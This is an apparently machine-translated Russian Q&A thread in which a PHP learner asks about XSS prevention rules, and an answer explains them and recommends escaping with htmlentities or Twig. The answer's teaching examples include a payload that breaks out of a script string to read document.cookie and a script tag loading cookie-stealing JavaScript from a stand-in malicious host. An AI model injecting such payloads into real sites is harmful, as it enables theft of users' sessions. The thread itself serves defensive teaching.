Я читаю о XSS, чтобы научиться безопасности при работе с PHP. Я имею в виду Эта статья, в котором они говорят о XSS и некоторых правилах, которых следует придерживаться.
Может ли кто-нибудь объяснить мне правила № 0 и № 1? Я понимаю, что они сохраняют, но когда они говорят о ненадежных данных, они имеют в виду данные, введенные пользователем?
Я работаю над некоторыми формами, и я пытаюсь придерживаться этих правил, чтобы предотвратить XSS. Дело в том, что я никогда ничего не выдаю пользователю после заполнения формы. Все, что я делаю, это обрабатываю данные и сохраняю их в текстовые файлы. Я провел некоторую проверку на стороне клиента и много на стороне сервера, но я не могу понять, что они подразумевают под never insert untrusted data except in allowed locations
,
От escaping
они имеют в виду closing tags - </>?
Правило № 0 означает, что вы не должны выводить данные в тех местах вашей веб-страницы, где ожидается запуск инструкций.
Как показано в вашем URL, не помещайте данные, созданные пользователем, внутрь <script>
теги. Например, это нет-нет:
<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+<?=$username?>+"!";
</script>
Выглядит довольно безопасно, верно? Что ж, если ваша переменная $ username содержит следующие значения:
""; console.log(document.cookie);//
Итак, на веб-сайте вы будете отображать следующее:
<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+""; console.log(document.cookie);//+"!";
</script>
Таким образом, кто-то может легко украсть куки вашего пользователя и повысить его привилегии. Теперь представьте, что вы используете похожий код, чтобы сказать, обновите, какой пользователь создал последнее сообщение и появился через AJAX. Это катастрофа, ожидающая того, что произойдет, если вы сделаете что-то, как указано выше (и не будете сначала очищать имя пользователя).
То же самое относится и к <style>
,<img>
, <embed>
, <iframe>
или любой другой тег, который позволяет запускать сценарии или импортировать ресурсы. Также относится к комментариям. Браузеры игнорируют комментарии, но некоторые интерпретаторы, такие как анализатор JSP, обрабатывают комментарии HTML как текст шаблона. Он не игнорирует его содержимое.
Правило № 1 очень похоже на правило № 0: если вы разрабатываете веб-приложения в тот или иной момент, вам придется выводить сгенерированные пользователем данные, будь то адрес электронной почты, имя пользователя, имя или что-то еще.
Если вы разрабатываете форум, возможно, вы захотите предоставить своим пользователям несколько стилей для их текста. Основные вещи, такие как жирные буквы, подчеркнутые и курсивом должно быть достаточно. Если вы хотите стать модным, вы даже можете позволить своим пользователям изменить шрифт.
Простой способ сделать это без особых сложностей — просто позволить пользователям писать свой собственный HTML, если они захотят это сделать, поэтому если вы выводите HTML от своих пользователей в «безопасных» местах, например, между <p>
теги, то это тоже катастрофа.
Потому что я могу написать:
Привет всем, это мой первый пост
<script src="//malicioussite.io/hackingYoCookiez.js"></script>
!
Если вы не пропустите этот ввод, люди увидят только:
Привет всем, это мой первый пост!
но ваш браузер также увидит внешний javascript, который говорит ему отправлять все куки в удаленное местоположение.
Поэтому всегда избегайте данных. Если вы используете PHP, вы можете использовать htmlentities
или используйте шаблонизатор, такой как Twig, который автоматически экранирует вывод.
Других решений пока нет …